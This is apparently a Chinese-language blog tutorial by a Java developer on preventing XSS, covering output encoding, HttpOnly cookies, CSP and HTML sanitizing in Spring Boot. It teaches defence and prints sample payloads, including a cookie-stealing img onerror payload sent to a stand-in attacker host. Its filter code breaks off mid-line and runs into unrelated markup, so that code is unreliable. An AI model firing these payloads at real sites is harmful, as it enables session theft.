1. 从一个让人后背发凉的线上事故说起
大概两年前,我在某公司做Java后端负责人,上线了一个面向内部商户的运营后台,功能很简单:商户可以提交一段报名说明文字,后台审核通过后展示在活动详情页。上线测试的时候一切正常,大家也没在意这段说明的富文本校验,结果上线第二天,运营同事的账号就开始疯狂给用户发优惠券,后台日志里出现了一堆POST请求,全部指向一个从来没见过的外部接口。排查到最后,原因出在活动详情页的报名说明——有人提交了一串看不出异常的HTML片段,里面夹了一个script标签,把运营后台当前登录用户的Cookie发到了攻击者搭建的服务器上。
这就是典型跨站脚本攻击(XSS,Cross-Site Scripting)。说起来它不算新技术,漏洞原理也很简单,但直到今天,它仍然长期占据OWASP Top 10榜单。很多人觉得XSS只是前端问题、只是弹个窗而已,但真被攻击者利用起来,轻则盗取用户会话、重则配合CSRF和越权接口实现账户完全接管。作为Java开发者,尤其是后端开发,如果你觉得XSS跟你没关系,那只是还没踩到坑。
这篇文章会用我在Java Web项目中的真实经历,把XSS从原理、分类到防御方案、实战代码全都讲透。我会从攻击者视角给你演示典型的构建过程,再回到开发者视角一步步加固,适合所有用Java做Web开发的工程师阅读,哪怕你之前没接触过安全方向,也能看完就上手。
2. XSS到底是怎么发生的:原理、攻击链路与三种形态
2.1 本质一句话:把不可信数据当成可执行代码
XSS的核心原因是浏览器在渲染HTML文档时,会把<script>、事件属性、CSS表达式等结构当作可执行代码解析,而开发者如果在拼接回应给客户端的页面时,没有对用户可控的数据做区分——也就是没有把“数据”和“代码”隔离开,攻击者就能注入自己的代码,让它在别人的浏览器里运行。
举个最直观的例子。服务端把用户名拼进页面:
String name = request.getParameter("name"); out.println("<div>欢迎回来," + name + "</div>");攻击者提交的name是<script>alert(document.cookie)</script>,浏览器解析后就会执行这段脚本。这里的问题不是单引号转义没做好,而是后端把用户输入直接放进了HTML文档流,没有做任何编码处理。只要最终响应里有一处这样的拼接,攻击者就有机会插入脚本。
2.2 攻击链路四步走
一次完整的XSS攻击不见得需要很复杂的载荷,但攻击路径很清晰:
- 攻击者构造恶意URL或提交带恶意脚本的表单数据,传给目标站点。
- 目标站点的服务端没有过滤或编码,直接把恶意数据拼接并返回到页面中,或者存储到数据库后在后续页面中渲染出来。
- 受害用户浏览器解析页面时,恶意脚本在页面的上下文里执行。
- 脚本执行后,可以做任何页面权限范围内的事:读取Cookie、篡改页面内容、劫持表单提交、发起请求、键盘记录等,再把数据传回攻击者服务器。
前两步是开发者的责任,后两步是浏览器和用户承担结果。所以防御XSS的关键窗口在服务端处理用户数据的那一刻。
2.3 三种形态:反射型、存储型、DOM型
XSS按触发方式不同,可以分成三类,很多初级开发者只听说过前两种,DOM型最容易被漏掉。
| 类型 | 触发流程 | 典型场景 | 检测难度 |
|---|---|---|---|
| 反射型 | 恶意脚本在URL参数里,服务端未编码直接回显,用户点击链接触发 | 搜索结果页、报错信息、登录失败提示 | 较低 |
| 存储型 | 恶意脚本存入数据库,其他用户访问时被渲染执行 | 评论区、留言板、个人简介、富文本编辑器 | 高 |
| DOM型 | 服务端完全无辜,前端JavaScript读取URL或接口数据直接操作DOM时注入 | 单页应用、地址栏hash参数、document.write、innerHTML | 高 |
存储型的危害在三种中最严重,因为它是“一次注入、持续生效”,不需要骗用户点击某个特定链接——用户只需要正常访问页面就会中招。反射型则需要诱导用户点击恶意链接,看起来危害低一些,但如果攻击者把链接藏在短网址里,或者配合邮件钓鱼,点击率依然可观。DOM型则最隐蔽,服务端日志里甚至看不出任何异常,因为攻击载荷可能从未经过服务端。
我在实际项目里遇到过很多有趣的漏网案例,比如搜索页面:
<input type="text" value="<%= request.getParameter("keyword") %>">开发者用escapeHtml转义了<>,但忘了处理双引号,攻击者提交" autofocus onfocus="alert(1),照样能触发。这就是经典的“转义了但不彻底”问题,后面实战部分我会专门展开。
3. 为什么XSS这么难缠:Java开发者最常踩的坑
3.1 只做前端校验,后端完全裸奔
很多前后端分离的团队有个陈旧观念:“我们的表单页面做了正则校验,用户传上来的都是安全数据。”这句话看起来没问题,但隐藏了两个致命前提。
第一个前提:校验逻辑可以绕过。前端校验只是体验优化,攻击者用Postman、curl或者直接curl加--data提交请求,完全可以跳过页面直接请求后端接口,前端限制形同虚设。第二个前提:攻击者不一定走你的页面。很多XSS载荷是通过接口批量提交的,比如我见过某公司导入Excel文件的功能,Excel里存了恶意脚本,导入后页面就中招了。前端校验管不到非页面提交的渠道。
所以后端必须默认“所有输入都不可信”,这个思路是所有安全设计的起点。
3.2 只做输入过滤,不做输出编码
还有一个更高频的错误认知:“我写了个全局过滤器,把<script>标签、onerror属性、javascript:协议都替换掉了,是不是就安全了?”这种做法问题很大。
输入过滤的天然短板在于,你无法预测所有可能的攻击变体。攻击者可以用HTML实体编码来绕过关键词匹配,比如:
<img src=x onerror="alert(1)">也可以把<script>写成<scr<script>ipt>,利用过滤器的递归替换漏洞形成“双写绕过”。就算你写了非常宽泛的过滤规则,也可能把合法用户的正常内容误杀,比如<用在数学表达式、on出现在英文单词onClick的普通描述里。
更合理的做法是:输出编码。输入过滤可以作为第一道粗筛,但真正防止XSS的,是在输出端根据渲染上下文决定如何编码。简单说:过滤解决“能不能进来”,编码解决“进来了也没用”。
3.3 把XSS当“小问题”,忽视账号接管链路
我经常在安全评审时听到一句话:“XSS最多就是弹个框,没什么大不了。”这种想法相当危险。
XSS的破坏力从来不是靠“弹窗”体现的,而是靠它和业务接口的配合。举例:攻击者通过XSS注入脚本,脚本读取用户Cookie中的会话ID发送到外部服务器,攻击者拿着这个会话ID就可以冒充用户登录。如果这个用户是管理员,攻击者相当于拿到了后台的全部权限。再配合CSRF,攻击者甚至不需要读取Cookie,直接在页面上构造表单请求,诱导用户点击提交,就能完成改密码、转账等敏感操作。
所以XSS在OWASP Top 10里常年排名靠前,不是因为它直接打穿服务器,而是因为它像一个幕后推手,帮攻击者撬开整个应用的大门。
3.4 前后端分离模式下,XSS防御职责容易被甩锅
现在的Java项目很多是后端出JSON接口、前端用Vue或React渲染。这种架构下,后端的输出编码防护基本失效,因为JSON不会直接进入HTML上下文。于是出现了一个真空地带:后端说“XSS是前端渲染问题”,前端说“数据是从后端的接口来的”。
实际上,前后端都有责任。后端需要保证JSON接口返回给业务的数据是干净的,尤其是存储型XSS,从源头上要防止恶意载荷进入数据库;前端需要保证v-html、dangerouslySetInnerHTML等危险API不被滥用,对插入DOM的内容做转义。但考虑到后端往往是数据唯一的入口,我还是建议后端承担更多兜底责任,至少在接入层的过滤和校验上做实,不要指望前端自觉。
4. Java生态下的XSS纵深防御体系
4.1 第一道防线:输出编码,按上下文分而治之
XSS防御的第一原则是“上下文敏感编码”。同样是用户输入,放的位置不同,编码规则就不同:
- 放在HTML标签内容里,比如
<div>用户输入</div>,需要对< > &做实体编码。 - 放在HTML属性值里,比如
<input value="用户输入">,需要额外处理双引号。 - 放在
<script>内部,需要做JavaScript字符串编码,这里HTML实体编码是完全无效的。 - 放在URL里,比如
<a href="用户输入">,需要做URL编码,并校验协议是否为白名单。 - 放在CSS样式里,比如
<div style="用户输入">,要防止expression()等危险语法。
Java生态里最成熟的编码工具是OWASP Java Encoder项目,它提供了四种上下文编码方法:
import org.owasp.encoder.Encode; // HTML文本上下文 String safeHtml = Encode.forHtml(userInput); // HTML属性上下文 String safeAttr = Encode.forHtmlAttribute(userInput); // JavaScript上下文 String safeJs = Encode.forJavaScript(userInput); // URL上下文 String safeUrl = Encode.forUriComponent(userInput);这套API非常简单,没有复杂的配置,就是纯静态方法调用。我自己的习惯是:在后端构造页面模板时,凡是涉及用户数据的位置,一律套上对应上下文编码,哪怕这个字段业务上看起来“一定安全”。审查成本最低的方式就是“看到一个数据拼进HTML,就要求旁边必须有编码”。
不过要注意,Java Encoder只解决了“编码”环节,它不负责校验协议。如果你把javascript:alert(1)传给forUriComponent,编码后变成javascript%3Aalert%281%29,虽然不再是可执行的JavaScript协议,但最好还是提前做协议白名单校验,比如只允许http和https开头。
4.2 第二道防线:HttpOnly Cookie与会话保护
HttpOnly是一个Cookie属性。设置之后,浏览器禁止JavaScript读取该Cookie值。攻击者即使注入XSS脚本,尝试使用document.cookie窃取会话Cookie时也只能得到一个空字符串,这能有效阻断最常见的会话劫持链路。
在Java后端设置HttpOnly非常方便:
// Servlet 3.0+ 方式 response.setHeader("Set-Cookie", "JSESSIONID=" + sessionId + "; Path=/; HttpOnly; Secure; SameSite=Strict");如果是Spring Boot项目,可以在配置文件中统一设置:
server.servlet.session.cookie.http-only=true server.servlet.session.cookie.secure=true server.servlet.session.cookie.same-site=strict这里特别提醒:HttpOnly不是万能的——它只能防“直接读取Cookie”,防不了脚本通过页面中的表单发起带Cookie的请求。也就是说,攻击者依然可以利用用户的登录态调用业务接口。所以HttpOnly应该作为纵深防御的一层,不能替代输出编码。但这一层几乎零成本,建议所有Java Web项目默认开启。
Secure属性要求Cookie只在HTTPS连接中传输,防止在HTTP明文传输中被中间人截获;SameSite=Strict则限制跨站请求携带Cookie,对CSRF攻击也有抑制效果。这三个属性配合使用,会话安全性会提升一个档次。
4.3 第三道防线:CSP内容安全策略
CSP(Content Security Policy)是一个响应头,让浏览器只执行你允许来源的脚本。它是XSS防御里非常有力的兜底机制,即使攻击者的脚本成功被注入到了页面,只要脚本来源不在白名单内,浏览器也不会执行它。
一个典型的CSP策略如下:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-xxxx'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;这个策略的意思是:所有资源默认只允许加载同源,脚本只允许加载本站的以及带指定nonce值的标签;样式允许本站和内联样式,图片允许本站和data协议。
在Spring Boot中,可以通过拦截器或过滤器统一的在响应头中添加CSP:
@Component public class SecurityHeaderFilter implements Filter { @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { HttpServletResponse res = (HttpServletResponse) response; res.setHeader("Content-Security-Policy", "default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'"); chain.doFilter(request, response); } }CSP刚上线时最容易踩的坑是:页面上有内联脚本或外部CDN的JS库,CSP一开全部被拦截,功能瞬间“白屏”。解决方案是用nonce或hash放行合法脚本,或者把内联脚本挪到独立的静态JS文件中。我在项目里踩过:一个老管理后台用了大量<script>内联逻辑,强制添加严格CSP后,第二天一早电话被打爆。所以CSP上线建议先在Content-Security-Policy-Report-Only模式观察几天,只上报不拦截,等告警清单收敛后再切换成强制执行模式。
4.4 第四道防线:输入校验与富文本白名单
输出编码解决“即使有恶意内容也变成了普通文本”,输入校验则解决“恶意内容尽量根本不要进来”。对不同类型的字段,校验策略不同。
普通文本字段(用户名、地址、留言内容):推荐用白名单正则,只允许中英文、数字和常见标点。邮件字段用严格格式校验。数字字段直接转成Long或Integer再处理,从类型上消灭注入可能。
富文本字段(HTML编辑器内容)的处理是XSS防御中比较麻烦的环节,因为你需要允许用户写一些HTML,比如加粗、列表、链接,但要禁止script、iframe、事件属性、javascript:协议等危险结构。这种情况下不要自己写解析器,直接用OWASP Java HTML Sanitizer:
import org.owasp.html.Sanitizers; import org.owasp.html.PolicyFactory; PolicyFactory policy = Sanitizers.FORMATTING .and(Sanitizers.LINKS) .and(Sanitizers.TABLES); String safeHtml = policy.sanitize(userInput);Sanitizers.FORMATTING允许加粗、斜体等,Sanitizers.LINKS允许<a>标签但会自动加上rel="nofollow",Sanitizers.TABLES允许表格。这个库底层用的是基于HTML语法解析的白名单过滤,比自己写正则靠谱得多——它不会出现“用正则治HTML”这种永远在被绕过的绝望循环。
5. 实战:从裸奔留言板到加固后的Spring Boot全流程
5.1 复现一个可攻击的留言板场景
先搭一个最简单的Spring Boot接口,模拟一个没有防御的用户留言功能。这里省略了数据库,用内存Map代替,聚焦在XSS链路上。
@RestController public class MessageController { private final List<Message> messages = new ArrayList<>(); @PostMapping("/message") public Message addMessage(@RequestParam String content) { Message msg = new Message(content); messages.add(msg); return msg; } @GetMapping("/message/list") public List<Message> listMessages() { return messages; } }对应的前端页面(静态HTML)里有一段渲染逻辑,直接把后端返回的消息内容插入DOM。
fetch('/message/list') .then(res => res.json()) .then(data => { data.forEach(item => { let div = document.createElement('div'); div.innerHTML = item.content; // 危险操作 document.body.appendChild(div); }); });此刻如果POST一个<img src=x onerror="fetch('//attacker.example/steal?c='+document.cookie)">,页面会立刻发起请求把Cookie泄露出去。实际上不用这么麻烦,我测试时经常用<script>alert(document.domain)</script>先验证是否可执行。
这个“里应外合”的组合,就是XSS在前后端分离架构下的攻击路径:后端存储,前端渲染执行。
5.2 改造一:后端接入层统一过滤与校验
首先加一个全局过滤器,对所有请求参数做“粗过滤”。粗过滤的目的不是替代编码,而是把明显的恶意结构挡在外面,减少存储型XSS的入库可能。
@Component public class XssFilter implements Filter { private static final Pattern SCRIPT_PATTERN = Pattern.compile( "<script.*?>.*?</script>", Pattern.CASE_INSENSITIVE | Pattern.DOTALL); @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { XssRequestWrapper wrapped = new XssRequestWrapper((HttpServletRequest) request); chain.doFilter(wrapped, response); } static class XssRequestWrapper extends HttpServletRequestWrapper { XssRequestWrapper(HttpServletRequest request) { super(request); } @Override public String getParameter(String name) { String value = super.getParameter(name); return clean(value); } @Override public String[] getParameterValues(String name) { String[] values = super.getParameterValues(name); if (values == null) return null; String[] cleaned = new String[values.length]; for (int i = 0; i < values.length; i++) { cleaned[i] = clean(values[i]); } return cleaned; } private String clean(String value) { if (value == null) return null; String temp = SCRIPT_PATTERN.matcher(value).replaceAll(""); // 再对事件处理属性做基础清理 temp = temp.replaceAll("(?i)\\son\\w+\\s*=", "><div>留言内容:<c:out value="${message.content}" /></div>如果你用的是AmazeUI这类前端模板,且必须动态插入HTML字符串,那么插入前得先调用编码函数,或者干脆改造组件逻辑,用textContent代替innerHTML赋值。
5.4 改造三:CSP与HttpOnly全量开启
还是那句话,纵深防御不能只靠一层。在上面的Spring Boot项目中,我又加了前面写的SecurityHeaderFilter,把CSP头加到所有响应里。同时对Session Cookie做了HttpOnly和SameSite配置。
这里分享一个我常用的验证命令,确保头确实生效:
curl -I http://localhost:8080/message/list观察响应头里是否包含:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none' Set-Cookie: JSESSIONID=...; Path=/; HttpOnly; SameSite=Strict如果看不到,检查是不是有网关层或代理层覆盖了你设置的Header。
5.5 改造四:富文本场景的安全写法
留言板如果允许用户使用富文本编辑器(比如UEditor、WangEditor、TinyMCE),处理思路要变。富文本编辑器提交的本身就是HTML,你无法简单转义,否则用户写的粗体、列表全都会显示成源码。
这种场景的防线是:入库前用OWASP Java HTML Sanitizer白名单过滤,去掉一切不在白名单里的标签和属性。
PolicyFactory policy = Sanitizers.FORMATTING .and(Sanitizers.LINKS) .and(Sanitizers.IMAGES) .and(Sanitizers.TABLES) .and(Sanitizers.BLOCKS); String sanitized = policy.sanitize(editorContent);过滤后的HTML可以安全入库,前端也可以放心用v-html或innerHTML渲染——前提是白名单足够窄。这里有一个必须提醒的点:绝对不要把<iframe>加进白名单,很多第三方富文本编辑器预置了插入视频的iframe能力,一旦放开,攻击者就可以嵌入任意第三方页面,形成钓鱼和诱骗场景。
6. 常见问题与排查实录
6.1 为什么我做了转义,XSS还是能打?
这个话题几乎每个安全评审都会遇到。最典型的原因是没有按上下文编码。我在审查代码时发现过三种高频错误。
第一种:只转义< >,不处理引号。这种代码出现在HTML属性值里就能被绕过,攻击者构造" autofocus onfocus="alert(1),双引号逃逸出属性值,后面的onfocus事件照样执行。
第二种:所有上下文统一用HTML实体编码,但内容要插入<script>标签内部。HTML实体编码在JavaScript字符串中会被解析成相应字符,但在部分解析场景下依然可以构造可执行结构,比如:
var name = "';alert(1)//";这里面的分号会把字符串截断,形成语句注入。所以:JavaScript上下文必须调用Encode.forJavaScript,不能用forHtml糊弄。
第三种:后端做了编码,前端却用v-html渲染。前后端分离项目中,后端返回的是JSON字符串,没有经过HTML编码的前端必须自己负责转义。有的团队后端编码函数没有用(或者根本不适用),前端又在模板里用了dangerouslySetInnerHTML,双重失效。
排查建议:对着OWASP的XSS Prevention Cheat Sheet,把代码里所有用户数据进入HTML的地方列成清单,按上下文逐一核对编码方式。清单化排查虽然笨,但不会漏。
6.2 加了CSP之后页面全白了,怎么处理?
CSP误伤的典型症状是:控制台报错Refused to load the script ... because it violates the following Content Security Policy directive,页面功能全丢。
处理分三步。
第一步:如果是内联脚本被拦截,用nonce放行。后端在生成页面时给每个合法脚本算一个随机nonce值,并把它加进CSP:
<script nonce="a1b2c3d4"> // 合法内联逻辑 </script>响应头里同步声明:
Content-Security-Policy: script-src 'self' 'nonce-a1b2c3d4'第二步:如果是外部CDN脚本被拦截,把CDN域名加进script-src白名单:
Content-Security-Policy: script-src 'self' https://cdn.example.com这种做法会引入对第三方域的信任,尽量只信任可信且维护良好的CDN,同时开启integrity属性的SRI机制防止第三方脚本被篡改。
第三步:在正式上线前用Content-Security-Policy-Report-Only模式跑几天,通过report-uri收集所有可能的违规,确认没有关键告警后再切强制模式。
6.3 富文本过滤之后,用户拿到一堆乱码/样式丢了怎么办?
Rich Text内容经过白名单过滤后,确实可能出现格式丢失,这是安全性对体验的必然牺牲。处理办法是提前和产品对齐富文本能力边界:加粗、斜体、下划线、无序列表、表格、图片(限定同源或指定域名)、链接。用户如果插入表格以外的复杂布局(比如自定义嵌入了CSS样式类的元素),过滤后大概率会丢失视觉效果,这是预期行为,需要在产品文档中明确说明。
我在某个项目中遇到过需求方要求保留用户粘贴的Excel表格样式,听取安全团队的建议后改成了“表格结构保留、样式类不保留”,用CSS统一样式。这个方案既满足需求,也不至于让过滤规则复杂到无法维护。
6.4 常见的XSS排查速查表
| 症状 | 可能原因 | 排查方向 |
|---|---|---|
| 弹窗/脚本执行 | 输出未编码 | 检查数据到DOM的每个出口 |
| 部分用户页面错乱 | 转义破坏了原有HTML结构 | 检查是否用错误上下文编码 |
| Cookie被窃取 | HttpOnly未开启 | 检查Set-Cookie属性 |
| 富文本执行脚本 | 白名单过宽 | 检查sanitize策略 |
| CSP拦截合法脚本 | 策略过严 | 使用Report-Only逐步放行 |
| DOM型XSS | 前端危险API滥用 | 搜索innerHTML、document.write、eval、v-html |
7. 我的几点实操体会
文章写到这里,理论、代码、排错都覆盖了。最后分享几个这些年在项目里总结出来的经验。
第一点:XSS防御不是一次性工作,而是每次发版都要过的检查关。我在团队里推行过一个简单动作:每次上线前,用当前环境跑一遍自动扫描工具,配合手动用例测试关键输出点。扫描工具能发现已知问题,手动测试则能覆盖业务自定义的渲染逻辑。
第二点:全局过滤器能解燃眉之急,但解决不了全部问题。我见过有团队把希望完全寄托在“一个过滤器搞定所有XSS”上,结果过滤器只处理了getParameter,没处理getInputStream,JSON接口全军覆没。给团队做安全培训时,我总强调“编码要跟着上下文走”这个原则,比背十段过滤器代码有用得多。
第三点:安全建设要跟业务形态匹配。如果业务是低风险的展示型站点,输出编码加HttpOnly基本够用;如果涉及支付、账号体系、后台管理,CSP和严格输入校验必须上,富文本场景还要单独走评审流程。
希望这份从实战中沉淀下来的经验,能让你少走一些我当年走过的弯路。下次有人再说“XSS就是弹个窗”的时候,你可以把这个话题聊得比他们想象的深一点。